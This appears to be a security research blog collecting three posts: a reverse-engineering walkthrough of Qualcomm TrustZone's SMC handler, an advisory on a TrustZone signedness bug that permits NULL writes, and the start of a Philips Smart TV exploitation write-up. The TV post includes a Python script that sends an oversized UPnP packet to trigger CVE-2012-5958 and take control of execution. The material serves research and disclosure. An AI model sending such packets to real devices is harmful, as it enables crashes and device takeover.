HLOS (non-Secure state) can call the TrustZone API (Secure state) using the SMC instruction to trigger a Secure Monitor Call exception. This exception is taken to the Monitor mode, which switches the processor to Secure Supervisor mode to proceed the call. When called TrustZone function returns, a second SMC exception is triggered, so the processor enters Monitor mode again. Finally, the Monitor mode returns results to the calling function (Non-Secure state). The Monitor mode acts as a bridge between Non-Secure state and Secure state. It's designed to handle calls initiated from the Non-Secure state only.

The exception vector dedicated to SMC exceptions is a pointer to a function at offset 0x08 in Monitor Exception Vector Table.
In this function, which will be named SMC handler, the very first instruction checks if an exception occurred in Secure or Non-Secure state (When the processor is in Monitor mode, the processor is in Secure state regardless of the value of the SCR.NS bit).

LOAD:FE80D028 smc_handler 
LOAD:FE80D028
LOAD:FE80D028 varg_r0         = -0x10
LOAD:FE80D028 varg_r1         = -0xC
LOAD:FE80D028 varg_r2         = -8
LOAD:FE80D028 varg_r3         = -4
LOAD:FE80D028
LOAD:FE80D028                 STMFD           SP!, {R0-R3}
LOAD:FE80D02C                 MRC             p15, 0, R0,c1,c1, 0 ; read SCR register
LOAD:FE80D030                 TST             R0, #1  ; test SCR.NS bit
LOAD:FE80D034                 BEQ             loc_FE80D210 ; jump if SCR.NS==0

When an exception is taken to the Monitor mode, CPSR.{A,I, F} bits are set to 1, meaning Abort, IRQ and FIQ exceptions can no longer be taken.

IV.3.A. Call to Secure World

If SCR.NS bit is set, it means the Non-Secure world wants to call the Secure world. We will now analyze the operations performed by the SMC handler until the exception return to the Secure world.

IV.3.A.a Setup current security state

This first step configures the Secure Configuration Register (SCR). Bits<1:3> (SCR.IRQ || SCR.FIQ || SCR.EA) are set to route IRQ, FIQ, and External Abort exceptions to Monitor mode. But the Non-Secure bit<0> is not set. So, this core will still be in the Secure state if it exits Monitor mode.

LOAD:FE80D038                 MOV             R0, #SCR_IRQ OR SCR_FIQ OR SCR_EA ; 0b1110
LOAD:FE80D03C                 MCR             p15, 0, R0,c1,c1, 0 ; write SCR with SCR.NS==0
LOAD:FE80D040                 ISB             SY      ; Instruction Synchronization Barrier
LOAD:FE80D040                                         ; flushes the pipeline in the processor

IV.3.A.b Monitor calls

On a HLOS like Android, SMC exceptions are triggered by the Secure Channel Manager (SCM), implemented in Linux kernel.
A quick look at its source code tells us {R0-R3} registers hold arguments of SMC calls. We also learn that R0 is a bitfield that can be defined by the following macro:

#define SCM_ATOMIC(svc, cmd, n) (((((svc) << 10)|((cmd) & 0x3ff)) << 12) | \
    SCM_CLASS_REGISTER | \
    SCM_MASK_IRQS | \
    (n & 0xf))

With svc the service identifier, cmd the command identifier, and n the argument count of the SMC call.

In SMC handler, R0 value is first shifted right by 12. Based on the SCM_ATOMIC macro definition, resulting R0 value represents a service identifier svc and a command identifier cmd defined as ((svc) << 10)|((cmd) & 0x3ff).
Then R0 value is tested against several immediate values. For each case, a specific function is called if values match.

LOAD:FE80D048                 MOV             R2, R0,LSR#12 ; extract service & command identifiers
LOAD:FE80D04C                 MOV             R1, #0x402 ; SCM_SVC_BOOT::SCM_CMD_TERMINATE_PC
LOAD:FE80D050                 CMP             R1, R2
LOAD:FE80D054                 LDMEQFD         SP!, {R1-R3}
LOAD:FE80D058                 BEQ             sub_FE80D360
LOAD:FE80D05C                 MOV             R1, #0xC05 ; SCM_SVC_UTIL::CACHE_BUFFER_DUMP_COMMAND_ID
LOAD:FE80D060                 CMP             R1, R2
LOAD:FE80D064                 LDMEQFD         SP!, {R1-R3}
LOAD:FE80D068                 BEQ             sub_FE80D68C
LOAD:FE80D06C                 MOV             R1, #0x404 ; SCM_SVC_BOOT::4
LOAD:FE80D070                 CMP             R1, R2
LOAD:FE80D074                 LDMEQFD         SP!, {R1-R3}
LOAD:FE80D078                 BEQ             sub_FE80D72C
LOAD:FE80D07C                 MOV             R1, #0x1401 ; SCM_SVC_IO::SCM_IO_READ
LOAD:FE80D080                 CMP             R1, R2
LOAD:FE80D084                 LDMEQFD         SP!, {R1-R3}
LOAD:FE80D088                 BEQ             sub_FE80D5AC
LOAD:FE80D08C                 MOV             R1, #0x1402 ; SCM_SVC_IO::SCM_IO_WRITE
LOAD:FE80D090                 CMP             R1, R2
LOAD:FE80D094                 LDMEQFD         SP!, {R1-R3}
LOAD:FE80D098                 BEQ             sub_FE80D5CC
LOAD:FE80D09C                 MOV             R1, #0x3404 ; SCM_SVC_DCVS::DCVS_CMD_EVENT
LOAD:FE80D0A0                 CMP             R1, R2
LOAD:FE80D0A4                 LDMEQFD         SP!, {R1-R3}
LOAD:FE80D0A8                 BEQ             sub_FE80D64C
LOAD:FE80D0AC                 MOV             R1, #0x1403 ; SCM_SVC_IO::TZ_RESET_ID
LOAD:FE80D0B0                 CMP             R1, R2
LOAD:FE80D0B4                 LDMEQFD         SP!, {R1-R3}
LOAD:FE80D0B8                 BEQ             sub_FE80D5EC
LOAD:FE80D0BC                 MOV             R1, #0x1404 ; SCM_SVC_IO::TZ_UPDATE_ID
LOAD:FE80D0C0                 CMP             R1, R2
LOAD:FE80D0C4                 LDMEQFD         SP!, {R1-R3}
LOAD:FE80D0C8                 BEQ             sub_FE80D618
LOAD:FE80D0CC                 MOV             R1, #0x2401 ; SCM_SVC_PWR::SCM_IO_DISABLE_PMIC_ARBITER
LOAD:FE80D0D0                 CMP             R1, R2
LOAD:FE80D0D4                 LDMEQFD         SP!, {R1-R3}
LOAD:FE80D0D8                 BEQ             sub_FE80D74C

As Linux kernel itself initiates a lot of SMC calls, we explore Linux sources to enumerate service and command identifiers passed to SMC calls. Thereby, we will get more information on corresponding functions without reversing them.

Immediate value	Service ID (imm>>10)	Command ID (imm&0x3ff)	Function description
0x402	SCM_SVC_BOOT	SCM_CMD_TERMINATE_PC	Put current core in low power state
0xC05	SCM_SVC_UTIL	CACHE_BUFFER_DUMP_COMMAND_ID	Dump the L1 and L2 caches on panic
0x404	SCM_SVC_BOOT	4	Dummy function, returns to Non-Secure world
0x1401	SCM_SVC_IO	SCM_IO_READ	Dummy function, returns to Non-Secure world
0x1402	SCM_SVC_IO	SCM_IO_WRITE	Dummy function, returns to Non-Secure world
0x3404	SCM_SVC_DCVS	DCVS_CMD_EVENT	Handle some Dynamic Clock and Voltage Scaling (DCVS) See also event definitions
0x1403	SCM_SVC_IO	TZ_RESET_ID	Related to GPU power management
0x1404	SCM_SVC_IO	TZ_UPDATE_ID	Related to GPU power management
0x2401	SCM_SVC_PWR	SCM_IO_DISABLE_PMIC_ARBITER	"Force the SPMI PMIC arbiter to shutdown so that no more SPMI transactions are sent from the MSM to the PMIC."

All these functions have the same epilogue:

LOAD:FE80D738                 MOV             R3, #SCR_NS OR SCR_FIQ OR SCR_AW ; 0b100101
LOAD:FE80D73C                 MCR             p15, 0, R3,c1,c1, 0 ; write SCR : switch to Non-Secure state
LOAD:FE80D740                 ISB             SY
LOAD:FE80D744                 MOV             R3, #0  ; clear R3 to avoid leak
LOAD:FE80D748                 MOVS            PC, LR  ; restore Non-Secure PC & CPSR from LR_mon & SPSR_mon

These instructions switch the processor to Non-Secure state and restore PC & CPSR to perform an exception return.

So SMC calls associated with these specific command/service IDs are kind of "Monitor calls", entirely handled in Monitor mode.

But if R0 value does not match these IDs, the execution continues in Monitor mode.

IV.3.A.c TrustZone lock

If the call has not been handled yet, Monitor code tries to acquire a lock to ensure that only one core at a time enters in TrustZone.

First, current CPU id is retrieved from MPIDR. Then, this value is incremented (because 0 means not locked) and used as lock value.

LOAD:FE80D0E0                 LDR             R1, =tz_lock
LOAD:FE80D0E4                 MRC             p15, 0, R2,c0,c0, 5 ; read MPIDR register
LOAD:FE80D0E8                 AND             R2, R2, #0xFF ; extract Aff0 from MPIDR
LOAD:FE80D0EC                 ADD             R2, R2, #1
LOAD:FE80D0F0
LOAD:FE80D0F0 loc_FE80D0F0                            ; CODE XREF: smc_handler+D8j
LOAD:FE80D0F0                 LDREX           R0, [R1] ; read current tz_lock value
LOAD:FE80D0F4                 CMP             R0, #0  ; test if TrustZone is locked
LOAD:FE80D0F8                 STREXEQ         R0, R2, [R1] ; if not locked, try to lock TrustZone
LOAD:FE80D0FC                 CMPEQ           R0, #0  ; test if TrustZone is now locked
LOAD:FE80D100                 BNE             loc_FE80D0F0 ; retry if TrustZone is still not locked
LOAD:FE80D104                 DMB             SY      ; Data Memory Barrier acts as a memory barrier

Then, it tries to acquire the TrustZone lock. This implementation is very similar to the example provided in ARM Ref. (D7.3.1 Acquiring a lock).

It relies on synchronization primitives (LDREX/STREX) to support exclusive accesses to memory shared between cores. Once the lock is acquired, the current core is the only one running in TrustZone, and the execution can continue.

IV.3.A.d Pre-exception status

LR_mon and SPSR_mon are both banked registers. Their values are generated by the exception entry. LR_mon contains the return address in Non-Secure world (right after the SMC instruction). The purpose of SPSR_mon is to record the pre-exception value of the CPSR.

LOAD:FE80D108                 LDR             R0, =NS_core_status ; secure area to store Non-Secure (NS) status
LOAD:FE80D10C                 MOV             R1, LR  ; read NS return address (LR_mon)
LOAD:FE80D110                 MRS             R2, SPSR ; read NS CPSR (SPSR_mon)
LOAD:FE80D114                 STMIA           R0, {R1,R2} ; write LR_mon & SPSR_mon

These two registers are saved in Secure memory to be restored later on exception return.

IV.3.A.e IRQ interruption flag

Then a DWORD at a static address is unconditionally cleared:

LOAD:FE80D118                 LDR             R1, =tz_irq_interrupted
LOAD:FE80D11C                 MOV             R0, #0
LOAD:FE80D120                 STR             R0, [R1] ; clear tz_irq_interrupted value

By looking at cross-references, we notice this DWORD is set to 1 in the IRQ handler of Monitor mode. But in both handlers (SMC & IRQ), when an exception returns to the Non-Secure world, the returned value (in R0) is set to 1 if this DWORD is not null.

Futhermore, we can have a look at how SCM interprets the value returned by a SMC call:

#define SCM_INTERRUPTED  1
do {
    asm volatile(
        __asmeq("%0", "r0")
        __asmeq("%1", "r0")
        __asmeq("%2", "r1")
        __asmeq("%3", "r2")
#ifdef REQUIRES_SEC
        ".arch_extension sec\n"
#endif
        "smc #0 @ switch to secure world\n"
        : "=r" (r0)
        : "r" (r0), "r" (r1), "r" (r2)
        : "r3");
} while (r0 == SCM_INTERRUPTED);

SCM will reiterate each SMC call while the returned value is 1.

We can deduce that this DWORD indicates if the exception return is due to an IRQ interrupt. TrustZone Whitepaper (3.3.3 Secure interrupts) says ARM recommends the use of IRQ as a Normal world interrupt source. That's why IRQ interrupts are handled in the Normal world.

IV.3.A.f Configure Secure world MMU

Next block of instructions modifies the translation table of Secure MMU (ARM Ref. B3.1 About the VMSA) if two conditions are met:

LOAD:FE80D124                 MRC             p15, 0, R0,c0,c0, 5 ; read MPIDR register
LOAD:FE80D128                 AND             R0, R0, #0xFF ; extract Aff0 from MPIDR
LOAD:FE80D12C                 CMP             R0, #0
LOAD:FE80D130                 BNE             loc_FE80D164 ; jump if current core != CPU0
LOAD:FE80D134                 LDR             R0, =tz_ext_elf_loaded ; read external ELF status
LOAD:FE80D138                 LDR             R0, [R0]
LOAD:FE80D13C                 CMP             R0, #0
LOAD:FE80D140                 BEQ             loc_FE80D164 ; jump if no external ELF loaded
LOAD:FE80D144                 LDR             R0, =tz_ext_elf_ttbr0 ; read TTBR0 ptr for external ELF
LOAD:FE80D148                 LDR             R0, [R0]
LOAD:FE80D14C                 DSB             SY
LOAD:FE80D150                 MCR             p15, 0, R0,c2,c0, 0 ; write new TTBR0
LOAD:FE80D154                 ISB             SY
LOAD:FE80D158                 MCR             p15, 0, R0,c8,c7, 0 ; flush TLBs
LOAD:FE80D15C                 DSB             SY
LOAD:FE80D160                 ISB             SY

First, it checks if the current core is CPU0.

Then, it checks if a DWORD is not null. By looking at cross-references, we notice that this DWORD is modified in SCM handler of QSEOS_LOAD_EXTERNAL_ELF_COMMAND call (not part of the Monitor code). This SCM call is made by qseecom_load_external_elf() function in the QSEECOM Linux driver. This function allows the HLOS to load an external ELF binary into the Secure World. We can remark that this function first ensures to run on CPU0.

static int qseecom_load_external_elf(struct qseecom_dev_handle *data, void __user *argp)
{
[...]
 /* SCM_CALL tied to Core0 */
 mask = CPU_MASK_CPU0;
 set_cpu_ret = set_cpus_allowed_ptr(current, &mask);
[...]

You can also refer to TrustZone Whitepaper to learn more about "Secure World processor affinity" on multiprocessor systems.

Finally, if those checks are successful, the Translation Table Base Register 0 (TTBR0) is modified, and data & instruction TLBs are both flushed. TTBR0 holds the physical address of the first-level translation table used by the Secure MMU to perform table translation walks.

This block of instructions will configure the MMU to create a dedicated address space in the Secure World if an external ELF is loaded on CPU0.

IV.3.A.g Context switching

Before switching to Secure World, Normal World context is saved into Secure memory (TrustZone Whitepaper, 5.3.1 Context switching). It includes :

General purpose registers (R0-R12)
Banked registers SPSR, SP and LR of each mode IRQ, SVC, ABT, UND.
Banked registers SPSR, R8, R9, R10, R11, R12, SP and LR of FIQ mode.

LOAD:FE80D168                 MOV             LR, SP  ; save Monitor stack address
LOAD:FE80D16C                 LDR             SP, =NS_core_context ; secure area to store Non-Secure context
LOAD:FE80D170                 STMFD           SP, {R0-LR}^
LOAD:FE80D174                 MOV             R4, SP
LOAD:FE80D178                 CPS             #CPSR_MODE_IRQ ; switch to IRQ mode
LOAD:FE80D17C                 MRS             R12, SPSR ; read SPSR_irq
LOAD:FE80D180                 STMIA           R4!, {R12-LR}
LOAD:FE80D184                 CPS             #CPSR_MODE_SVC ; switch to Supervisor mode
LOAD:FE80D188                 MRS             R12, SPSR ; read SPSR_svc
LOAD:FE80D18C                 STMIA           R4!, {R12-LR}
LOAD:FE80D190                 CPS             #CPSR_MODE_ABT ; switch to Abort mode
LOAD:FE80D194                 MRS             R12, SPSR ; read SPSR_abt
LOAD:FE80D198                 STMIA           R4!, {R12-LR}
LOAD:FE80D19C                 CPS             #CPSR_MODE_UND ; switch to Undefined mode
LOAD:FE80D1A0                 MRS             R12, SPSR ; read SPSR_und
LOAD:FE80D1A4                 STMIA           R4!, {R12-LR}
LOAD:FE80D1A8                 CPS             #CPSR_MODE_FIQ ; switch to FIQ mode
LOAD:FE80D1AC                 MRS             R7, SPSR ; read SPSR_fiq
LOAD:FE80D1B0                 STMIA           R4, {R7-LR}
LOAD:FE80D1B4                 CPS             #CPSR_MODE_MON ; switch back to Monitor mode

Because the current security state is Secure (SCR.NS == 0), CPS instructions can be used to switch to each mode before finally switching back to Monitor mode. MRS instruction reads a Special Register (like SPSR) and writes it to a general purpose register.

Later, this saved context will be restored when the processor switches back to the Normal World.

Then, Secure World context is restored from a previous context switch (Secure to Normal World).

LOAD:FE80D1B8                 LDR             SP, =S_core_context ; secure area where previous Secure context is stored
LOAD:FE80D1BC                 MOV             R1, SP
LOAD:FE80D1C0                 CPS             #CPSR_MODE_IRQ ; switch to IRQ mode
LOAD:FE80D1C4                 LDMIA           R1!, {R12-LR}
LOAD:FE80D1C8                 MSR             SPSR_cxsf, R12 ; write SPSR_irq
LOAD:FE80D1CC                 CPS             #CPSR_MODE_SVC ; switch to Supervisor mode
LOAD:FE80D1D0                 LDMIA           R1!, {R12-LR}
LOAD:FE80D1D4                 MSR             SPSR_cxsf, R12 ; write SPSR_svc
LOAD:FE80D1D8                 CPS             #CPSR_MODE_ABT ; switch to Abort mode
LOAD:FE80D1DC                 LDMIA           R1!, {R12-LR}
LOAD:FE80D1E0                 MSR             SPSR_cxsf, R12 ; write SPSR_abt
LOAD:FE80D1E4                 CPS             #CPSR_MODE_UND ; switch to Undefined mode
LOAD:FE80D1E8                 LDMIA           R1!, {R12-LR}
LOAD:FE80D1EC                 MSR             SPSR_cxsf, R12 ; write SPSR_und
LOAD:FE80D1F0                 CPS             #CPSR_MODE_FIQ ; switch to FIQ mode
LOAD:FE80D1F4                 LDMIA           R1, {R7-LR}
LOAD:FE80D1F8                 MSR             SPSR_cxsf, R7 ; write SPSR_fiq
LOAD:FE80D1FC                 CPS             #CPSR_MODE_MON ; switch back to Monitor mode
LOAD:FE80D200                 LDMEA           SP, {R0-LR}^

IV.3.A.f Exception return to Secure world

Finally, the Monitor stack address is restored, and a Return From Exception (RFE) instruction loads the LR and the CPSR of interrupted Secure World from a specific address in Secure memory.

LOAD:FE80D204                 MOV             SP, LR  ; restore Monitor stack address
LOAD:FE80D208                 LDR             LR, =S_core_status ; ptr to previously-saved Secure LR & CPSR
LOAD:FE80D20C                 RFEIA           LR      ; Return From Exception to Secure World

IV.3.B Return to Non-Secure World

In the case where SCR.NS is not set, the Secure world returns results to calling function in Non-Secure world.

A lot of operations here are similar to those previously described in the "Call to Secure World" section.

IV.3.B.a Pre-exception status

First, LR_mon & SPSR_mon registers are saved in Secure memory to be restored next time the TrustZone is entered. LR_mon contains the return address in Secure world (right after the SMC instruction). The purpose of SPSR_mon is to record the pre-exception value of the CPSR.

LOAD:FE80D210                 LDR             R0, =S_core_status ; secure area to store Secure status
LOAD:FE80D214                 MOV             R1, LR  ; read Secure return address (LR_mon)
LOAD:FE80D218                 MRS             R2, SPSR ; read Secure CPSR (SPSR_mon)
LOAD:FE80D21C                 STMIA           R0, {R1,R2} ; write LR_mon & SPSR_mon

IV.3.B.b Context switching

Then, the Secure World context is saved, and the Normal World context is restored from a previous context switch (Normal to Secure World).

LOAD:FE80D224                 MOV             LR, SP  ; save Monitor stack address
LOAD:FE80D228                 LDR             SP, =S_core_context ; secure area to store Secure context
LOAD:FE80D22C                 STMFD           SP, {R0-LR}^
LOAD:FE80D230                 MOV             R4, SP
LOAD:FE80D234                 CPS             #CPSR_MODE_IRQ ; switch to IRQ mode
LOAD:FE80D238                 MRS             R12, SPSR ; read SPSR_irq
LOAD:FE80D23C                 STMIA           R4!, {R12-LR}
LOAD:FE80D240                 CPS             #CPSR_MODE_SVC ; switch to Supervisor mode
LOAD:FE80D244                 MRS             R12, SPSR ; read SPSR_svc
LOAD:FE80D248                 STMIA           R4!, {R12-LR}
LOAD:FE80D24C                 CPS             #CPSR_MODE_ABT ; switch to Abort mode
LOAD:FE80D250                 MRS             R12, SPSR ; read SPSR_abt
LOAD:FE80D254                 STMIA           R4!, {R12-LR}
LOAD:FE80D258                 CPS             #CPSR_MODE_UND ; switch to Undefined mode
LOAD:FE80D25C                 MRS             R12, SPSR ; read SPSR_und
LOAD:FE80D260                 STMIA           R4!, {R12-LR}
LOAD:FE80D264                 CPS             #CPSR_MODE_FIQ ; switch to FIQ mode
LOAD:FE80D268                 MRS             R7, SPSR ; read SPSR_fiq
LOAD:FE80D26C                 STMIA           R4, {R7-LR}
LOAD:FE80D270                 CPS             #CPSR_MODE_MON ; switch back to Monitor mode
LOAD:FE80D274                 SUB             SP, SP, #0x94 ; NS_core_context = SP (S_core_context) - 0x94
LOAD:FE80D278                 MOV             R1, SP  ; secure area where previous Non-Secure context is stored
LOAD:FE80D27C                 CPS             #CPSR_MODE_IRQ ; switch to IRQ mode
LOAD:FE80D280                 LDMIA           R1!, {R12-LR}
LOAD:FE80D284                 MSR             SPSR_cxsf, R12 ; write SPSR_irq
LOAD:FE80D288                 CPS             #CPSR_MODE_SVC ; switch to Supervisor mode
LOAD:FE80D28C                 LDMIA           R1!, {R12-LR}
LOAD:FE80D290                 MSR             SPSR_cxsf, R12 ; write SPSR_svc
LOAD:FE80D294                 CPS             #CPSR_MODE_ABT ; switch to Abort mode
LOAD:FE80D298                 LDMIA           R1!, {R12-LR}
LOAD:FE80D29C                 MSR             SPSR_cxsf, R12 ; write SPSR_abt
LOAD:FE80D2A0                 CPS             #CPSR_MODE_UND ; switch to Undefined mode
LOAD:FE80D2A4                 LDMIA           R1!, {R12-LR}
LOAD:FE80D2A8                 MSR             SPSR_cxsf, R12 ; write SPSR_und
LOAD:FE80D2AC                 CPS             #CPSR_MODE_FIQ ; switch to FIQ mode
LOAD:FE80D2B0                 LDMIA           R1, {R7-LR}
LOAD:FE80D2B4                 MSR             SPSR_cxsf, R7 ; write SPSR_fiq
LOAD:FE80D2B8                 CPS             #CPSR_MODE_MON ; switch back to Monitor mode
LOAD:FE80D2BC                 LDMEA           SP, {R0-LR}^
LOAD:FE80D2C0                 MOV             SP, LR  ; restore Monitor stack address

IV.3.B.c IRQ interrupt flag

Next instructions check the DWORD value which indicates that an IRQ interrupt occurred. If this flag is set, the return value is set to 1 in R0.

LOAD:FE80D2C4                 LDR             R3, =tz_irq_interrupted
LOAD:FE80D2C8                 LDR             R2, [R3]
LOAD:FE80D2CC                 CMP             R2, #0  ; if an IRQ interrupt occurred
LOAD:FE80D2D0                 MOVNE           R0, #1  ; then set return value to 1

This may seem pointless in the context of the SMC handler. But actually this part of code is also used by the IRQ handler to return to the Normal World.

IV.3.B.d Non-secure CPSR & LR

Then CPSR and LR from previously interrupted Non-Secure state are written to SPSR_mon and LR_mon.

LOAD:FE80D2D4                 LDR             LR, =NS_core_status ; ptr to previously-saved Non-Secure LR
LOAD:FE80D2D8                 LDR             LR, [LR] ; restore Non-Secure return address
LOAD:FE80D2DC                 LDR             R3, =NS_core_status.SPSR ; ptr to previously-saved Non-Secure CPSR
LOAD:FE80D2E0                 LDR             R3, [R3]
LOAD:FE80D2E4                 BIC             R3, R3, #CPSR_MASK_FIQ ; clear CPSR.F: FIQ exceptions not masked
LOAD:FE80D2E8                 MSR             SPSR_cxsf, R3 ; write SPSR
LOAD:FE80D2EC                 DMB             SY

They will be used later for the exception return.

IV.3.B.e TrustZone lock

After that, tz_lock DWORD is cleared to indicate that this core is no longer running in TrustZone.

LOAD:FE80D2F0                 LDR             R3, =tz_lock
LOAD:FE80D2F4                 MOV             R2, #0
LOAD:FE80D2F8                 STR             R2, [R3] ; clear tz_lock
LOAD:FE80D2FC                 DMB             SY

IV.3.B.f Exception return to Non-Secure world

The MCR instruction writes to the SCR register to modify the configuration of the current security state:

LOAD:FE80D300                 MOV             R2, #0  ; clear R2 to avoid leak
LOAD:FE80D304                 MOV             R3, #0
LOAD:FE80D308                 MOV             R3, #SCR_NS OR SCR_FIQ OR SCR_AW ; 0b100101
LOAD:FE80D30C                 MCR             p15, 0, R3,c1,c1, 0 ; write SCR : switch to Non-Secure state
LOAD:FE80D310                 ISB             SY
LOAD:FE80D314                 MOV             R3, #0  ; clear R3 to avoid leak
LOAD:FE80D318                 MOVS            PC, LR  ; restore Non-Secure PC & CPSR
LOAD:FE80D318 ; End of function smc_handler

The Security state is switched to Non-Secure (SCR_NS). FIQ interrupts are taken to the Monitor Mode (SCR_FIQ), and the CPSR.A bit can be modified in any security state (SCR_AW), so the Non-Secure world can mask Abort exceptions.

Finally, the exception return is made with a MOVS instruction which branches to the return address in Normal World, and also copies SPSR_mon to CPSR.

Conclusion

We have analyzed a part of Monitor code which allows to switch processor security state through SMC exceptions. We've learnt that some SMC exceptions are fully handled by Monitor code, while others are routed to TrustZone code in Secure Supervisor mode. The latter can be executed by only one core at a time. We have also found that an external ELF can be loaded and executed in TrustZone with a dedicated Secure memory space. However, this analysis is not complete since IRQ & FIQ handlers have not been studied.

--I would like to thank Adrien & Diane for their help!

[QPSIIR-80] Qualcomm TrustZone Integer Signedness bug

2014-12-18T02:05:00-08:00

Summary

Qualcomm TrustZone is prone to an integer signedness bug that may allow to write NULL words to barely controllable locations in memory.

The vulnerability can be triggered from Non-Secure World through the TrustZone call "tzbsp_smmu_fault_regs_dump".

This issue has been discovered in Samsung Galaxy S5 firmware, but other devices can be affected as well.

Details

This vulnerability has been discovered in TrustZone binary of Samsung Galaxy S5 firmware, version 4.4.2.
The tzbsp_smmu_fault_regs_dump function can be called from Non-Secure World through the SMC instruction. It takes 4 arguments passed in R0-R3 registers.
When called with argument R0 > 1, nested function subfunc_1 is called with arguments (R0 = 0xFFFFFFFF, R1) :

FE84B9B6 tzbsp_smmu_fault_regs_dump
FE84B9B6     PUSH.W   {R4-R8,LR}
FE84B9BA     MOVS     R6, R2
FE84B9BC     MOV      R8, R1
FE84B9BE     MOV      R7, R3
FE84B9C0     MOV.W    R4, #0xFFFFFFFF
FE84B9C4     MOV      R5, #0xFFFFFFEE
FE84B9C8     BEQ      loc_FE84BA1A
FE84B9CA     CBZ      R0, loc_FE84B9D2 ; R0 > 1 : branch not taken
FE84B9CC     CMP      R0, #1
FE84B9CE     BEQ      loc_FE84B9D6 ; R0 > 1 : branch not taken
FE84B9D0     B        loc_FE84B9D8 ; branch
FE84B9D2 ; ---------------------------------------------------------
FE84B9D2 loc_FE84B9D2        ; if R0 == 0
FE84B9D2     MOVS     R4, #1
FE84B9D4     B        loc_FE84B9D8
FE84B9D6 ; ---------------------------------------------------------
FE84B9D6 loc_FE84B9D6        ; if R0 == 1
FE84B9D6     MOVS     R4, #0
FE84B9D8
FE84B9D8 loc_FE84B9D8        ; for any value of R0
FE84B9D8     MOVS     R0, #1
FE84B9DA     BL       subfunc_0 ; kind of "is retail hardware?" test
FE84B9DE     CBZ      R0, loc_FE84B9EE ; not taken
FE84B9E0     MOV      R1, R8
FE84B9E2     MOV      R0, R4 ; R4 == #0xFFFFFFFF
FE84B9E4     BL       subfunc_1
FE84B9E8     [...]

Then subfunc_1 checks if R0 value is valid. It will Branch and return if R0 is Greater than or Equal to 2. However, BGE instruction operates on signed integers. So R0 == -1 < 2 will pass the test and the execution will continue :

FE853124 subfunc_1
FE853124     CMP      R0, #2 ; R0 == #0xFFFFFFFF
FE853126     BGE      locret_FE85314C ; signed comparison :
FE853126                              ; R0(-1) < 2 so branch not taken
FE853128     MOVW     R2, #0x9EE0
FE85312C     ADD.W    R3, R0, R0,LSL#1
FE853130     MOVT.W   R2, #0xFE82
FE853134     ADD.W    R0, R3, R0,LSL#3
FE853138     LDR      R2, [R2,#(dword_FE829EE4 - 0xFE829EE0)]
FE85313A     ADD.W    R0, R2, R0,LSL#4
FE85313E     LDRB     R2, [R0,#4]
FE853140     CMP      R2, R1 ; with R1 < R2
FE853142     BLS      locret_FE85314C
FE853144     LDR      R0, [R0]
FE853146     MOVS     R2, #0
FE853148     B.W      sub_FE856C84 ; write NULL DWORD to a barely arbitrary address (derived from R1 value)
FE85314C     [...]

Finally, the last nested function could allow to write NULL words to a limited range of memory locations.

Fix

This bug is fixed in Lolipop version of the firmware. Several changes have been made. First, subfunc_1 function is not reachable anymore with an invalid R0 value:

FE84B970 tzbsp_smmu_fault_regs_dump
FE84B970     PUSH.W   {R4-R8,LR}
FE84B974     MOVS     R6, R2
FE84B976     MOV      R8, R1
FE84B978     MOV      R7, R3
FE84B97A     MOV      R5, #0xFFFFFFEE
FE84B97E     BEQ      loc_FE84B9D2
FE84B980     CBZ      R0, loc_FE84B98A
FE84B982     CMP      R0, #1
FE84B984     BEQ      loc_FE84B98E
FE84B986     ADDS     R0, R5, #2
FE84B988     B        locret_FE84B7AA ; branch if R0 > 1
FE84B98A ; ---------------------------------------------------------
FE84B98A loc_FE84B98A        ; if R0 == 0
FE84B98A     MOVS     R4, #1
FE84B98C     B        loc_FE84B990
FE84B98E ; ---------------------------------------------------------
FE84B98E loc_FE84B98E        ; if R0 == 1
FE84B98E     MOVS     R4, #0
FE84B990
FE84B990 loc_FE84B990        ; if 0 <= R0 < 2
FE84B990     MOVS     R0, #1
FE84B992     BL       subfunc_0 ; kind of "is retail hardware?" test
FE84B996     CBZ      R0, loc_FE84B9A6 ; not taken
FE84B998     MOV      R1, R8
FE84B99A     MOV      R0, R4 ; R4 is either 0 or 1
FE84B99C     BL       subfunc_1
FE84B9A0     [...]

Then in (sub)subfunc_1, R0 value is now tested with an unsigned comparison:

FE852B94 (sub)subfunc_1
FE852B94     CMP      R0, #2
FE852B96     BCS      loc_FE852BBA ;unsigned comparison: branch if R0 > 1
FE852B98     MOVW     R2, #0x9F38
FE852B9C     [...]

The bug can no longer be triggered.

CVSS Version 2 Metrics

Access Vector: Local

Access Complexity: High

Authentication: Single

Confidentiality Impact: Complete

Integrity Impact: Complete

Availability Impact: Complete

Disclosure Timeline

2014-08-28 Intial vendor notification

2014-09-03 Vendor reply; severity of the issue rated as high

2014-00-00 Vendor has notified all OEMs

2014-12-18 Public advisory

References:
https://www.qualcomm.com/connect/contact/security/product-security/hall-of-fame

Exploitation of Philips Smart TV

2014-11-13T13:29:00-08:00

This post is a translated summary of the article published for my talk at SSTIC 2014 conference (french).

My Philips Smart TV is a Linux box standing there in my living room : that's a sufficient reason to try to get root.

Debug serial port

Internet hackers have already discovered a serial port on the back panel of the TV set.

Serial port (Jack plug)

This port gives a lot of technical information on the system :

Linux version 2.6.28.9-oslinuxR7.5
(root@lxdevenv) (gcc version 4.2.4) #1 Thu Jun 16 23:27:36 CEST 2011
console [early0] enabled
CPU revision is: 00019651 (MIPS 24Kc)
FPU revision is: 01739300
282 MB SDRAM allocated to Linux on MIPS
512 MB total SDRAM size
Endianess : LITTLE
[...]

UPnP library identification

A network scan reports a running UPnP service. In January 2013, Rapid7 discovered many vulnerabilities in libupnp library, v1.6.18. To check if the device is vulnerable, we send a simple UDP packet that can trigger one of them (CVE-2012-5958):

#!/usr/bin/python
import socket
pkt = "NOTIFY * HTTP/1.1\r\n" +\
   "HOST: 239.255.255.250:1900\r\n" +\
   "USN:uuid:schemas:device:" +\
   "A" * 512 + ":end\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(pkt, ('239.255.255.250', 1900))

We can see in the console that a crash occurred:

03 <2> 001990235 Exception in process 443: SIGSEGV: address not mapped to object
03 <2> 001990235 EPC = 0x41414141
03 <2> 001990235 RA = 0x41414141

Execution flow has been redirected to an arbitrary address, so we know this device uses a vulnerable version of libupnp. Moreover, it indicates there's no stack-smashing protection.

In these conditions, exploitation could be easy if we had had access to this binary or loaded shared libraries.

But it's not the case: firmware updates are encrypted, and there's no public method to get a shell on this system, at this time.

Unfortunately, the path traversal vulnerability found by Martin Schobert is not present in our firmware.

Memory mapping discovery

